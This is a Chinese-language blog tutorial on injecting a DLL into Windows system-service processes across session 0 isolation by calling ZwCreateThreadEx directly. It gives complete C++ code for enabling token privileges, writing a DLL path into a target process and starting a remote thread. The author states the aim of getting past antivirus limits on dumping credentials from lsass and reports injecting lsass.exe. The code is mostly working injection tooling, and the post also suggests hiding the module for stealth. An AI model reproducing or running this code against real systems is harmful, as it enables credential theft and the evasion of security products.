前言
之前已經提到過,遠執行緒注入和記憶體寫入隱藏模組,今天介紹突破session 0的dll注入
其實今天寫這個的主要原因就是看到傾旋大佬有篇文章提到:有些反病毒引擎限制從lsass中dump出快取,可以通過注入lsass
看大佬的部落格真的可以學到很多哈哈
編譯環境
win10 vs2019
什麼是session 0
在Windows XP,Windows Server 2003以及更早的版本中,第一個登入的使用者以及Windows的所有服務都執行在Session 0上。
這樣做危險的地方是,使用者使用的應用程式可能會利用Windows的服務程式提升自己的許可權。
後續版本的windows,普通應用程式已經不再session 0中執行
思路
由於SESSION 0隔離機制,導致傳統遠端執行緒注入系統服務程式失敗。和傳統的 CreateRemoteThread 函式實現的遠執行緒注入 DLL 的唯一一個區別就是,我們呼叫的是更為底層的ZwCreateThreadEx來建立執行緒,
雖然CreateRemoteThread 函式到底層也是呼叫ZwCreateThreadEx,但在呼叫ZwCreateThreadEx時 ,ZwCreateThreadEx的第7個引數 CreateSuspended(CreateThreadFlags)的值始終為1,它會導致執行緒建立完成後一直掛起無法恢復執行,於是我們選擇直接呼叫ZwCreateThreadEx,將第7個引數直接置為0,這樣可達到注入目的
實現過程
先建立一個dll
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBox(NULL, L"遠端執行緒注入成功!", L"提示", NULL); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
這裡有一個坑:如果要注入系統程式的話,建立的dll一定要是64位的,這與當前的作業系統有關,後面編譯exe的時候也一定要是64位的,這個更當前exe多少位有關
這是我的作業系統版本
編寫程式
提升當前程式的許可權
1 BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName) 2 { 3 HANDLE hToken = NULL; 4 LUID luidValue = { 0 }; 5 TOKEN_PRIVILEGES tokenPrivileges = { 0 }; 6 BOOL bRet = FALSE; 7 DWORD dwRet = 0; 8 // 開啟程式令牌並獲取程式令牌控制程式碼 9 bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken); 10 if (FALSE == bRet) 11 { 12 printf("OpenProcessToken"); 13 return FALSE; 14 } 15 // 獲取本地系統的 pszPrivilegesName 特權的LUID值 16 bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue); 17 if (FALSE == bRet) 18 { 19 printf("LookupPrivilegeValue"); 20 return FALSE; 21 } 22 // 設定提升許可權資訊 23 tokenPrivileges.PrivilegeCount = 1; 24 tokenPrivileges.Privileges[0].Luid = luidValue; 25 tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 26 // 提升程式令牌訪問許可權 27 bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL); 28 if (FALSE == bRet) 29 { 30 printf("AdjustTokenPrivileges"); 31 return FALSE; 32 } 33 else 34 { 35 // 根據錯誤碼判斷是否特權都設定成功 36 dwRet = ::GetLastError(); 37 if (ERROR_SUCCESS == dwRet) 38 { 39 return TRUE; 40 } 41 else if (ERROR_NOT_ALL_ASSIGNED == dwRet) 42 { 43 printf("ERROR_NOT_ALL_ASSIGNED"); 44 return FALSE; 45 } 46 } 47 return FALSE; 48 }
這裡參考了 https://www.write-bug.com/article/2012.html
這個師傅對函式中三個API都有介紹
ZwCreateThreadEx
ZwCreateThreadEx 在 ntdll.dll 中並沒有宣告,所以我們需要使用 GetProcAddress 從 ntdll.dll 中獲取該函式的匯出地址。
在64位和32位中,函式定義還不一樣
64位中
1 DWORD WINAPI ZwCreateThreadEx( 2 PHANDLE ThreadHandle, 3 ACCESS_MASK DesiredAccess, 4 LPVOID ObjectAttributes, 5 HANDLE ProcessHandle, 6 LPTHREAD_START_ROUTINE lpStartAddress, 7 LPVOID lpParameter, 8 ULONG CreateThreadFlags, 9 SIZE_T ZeroBits, 10 SIZE_T StackSize, 11 SIZE_T MaximumStackSize, 12 LPVOID pUnkown);
32位中
1 DWORD WINAPI ZwCreateThreadEx( 2 PHANDLE ThreadHandle, 3 ACCESS_MASK DesiredAccess, 4 LPVOID ObjectAttributes, 5 HANDLE ProcessHandle, 6 LPTHREAD_START_ROUTINE lpStartAddress, 7 LPVOID lpParameter, 8 BOOL CreateSuspended, 9 DWORD dwStackSize, 10 DWORD dw1, 11 DWORD dw2, 12 LPVOID pUnkown);
大體思路更之前dll注入差不多,知識更改CreateRemoteThread 為ZwCreateThreadEx
核心程式碼
1 DWORD _InjectSysThread(DWORD _Pid, LPCWSTR psDllFillName) 2 { 3 //開啟程式 4 HANDLE hprocess; 5 HANDLE hThread; 6 DWORD _SIZE = 0; 7 LPVOID pAlloc = NULL; 8 DWORD psDllAddr = 0; 9 FARPROC pThreadFunction; 10 DWORD ZwRet = 0; 11 hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); 12 //在注入程式中寫入Loadlibrary名稱 13 _SIZE = (_tcslen(psDllFillName) + 1) * sizeof(TCHAR); 14 pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE); 15 if (pAlloc == NULL) 16 { 17 printf("VirtualAllocExERROR"); 18 return FALSE; 19 } 20 BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllFillName, _SIZE, NULL); 21 if (FALSE == x) 22 { 23 printf("WriteProcessMemoryERROR"); 24 return FALSE; 25 } 26 27 HMODULE hNtdll = LoadLibrary(L"ntdll.dll"); 28 if (hNtdll == NULL) 29 { 30 printf("LoadLibraryERROR"); 31 return FALSE; 32 } 33 34 pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); 35 36 #ifdef _WIN64 37 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( 38 PHANDLE ThreadHandle, 39 ACCESS_MASK DesiredAccess, 40 LPVOID ObjectAttributes, 41 HANDLE ProcessHandle, 42 LPTHREAD_START_ROUTINE lpStartAddress, 43 LPVOID lpParameter, 44 ULONG CreateThreadFlags, 45 SIZE_T ZeroBits, 46 SIZE_T StackSize, 47 SIZE_T MaximumStackSize, 48 LPVOID pUnkown 49 ); 50 #else 51 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( 52 PHANDLE ThreadHandle, 53 ACCESS_MASK DesiredAccess, 54 LPVOID ObjectAttributes, 55 HANDLE ProcessHandle, 56 LPTHREAD_START_ROUTINE lpStartAddress, 57 LPVOID lpParameter, 58 BOOL CreateSuspended, 59 DWORD dwStackSize, 60 DWORD dw1, 61 DWORD dw2, 62 LPVOID pUnkown 63 ); 64 #endif 65 typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL; 66 ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx"); 67 68 if (ZwCreateThreadEx == NULL) 69 { 70 printf("ZwCreateThreadExERROR"); 71 return FALSE; 72 } 73 HANDLE hRemoteThread; 74 ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess, 75 (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL); 76 77 if (NULL == hRemoteThread) 78 { 79 printf("建立執行緒失敗"); 80 CloseHandle(hprocess); 81 return FALSE; 82 } 83 WaitForSingleObject(hRemoteThread, -1); 84 VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE); 85 CloseHandle(hRemoteThread); 86 CloseHandle(hprocess); 87 FreeLibrary(hNtdll); 88 return TRUE; 89 }
執行結果
這裡我選擇的是explorer.exe
注入lsass.exe ,只不過注入這類程式不會彈窗,但我們不需要彈窗嘛(滑稽)
記得使用Procexp的時候管理員執行,要不然系統程式模組看不到
但是像這種程式csrss.exe
遍歷不出來,我看到網上有個師傅說這個程式好像需要更高的許可權去訪問,注入的話也需要其他操作,應該是牽扯到0環層面了,小弟對0 環核心層並不熟悉,就寫到這裡,基本目標還是達成了
其實還可以記憶體寫入,隱藏模組,更加隱蔽
如果提權執行報錯的話,記得以管理員身份執行就好了
參考
https://www.write-bug.com/article/2013.html
https://idiotc4t.com/code-and-dll-process-injection/bypass-session-0-injection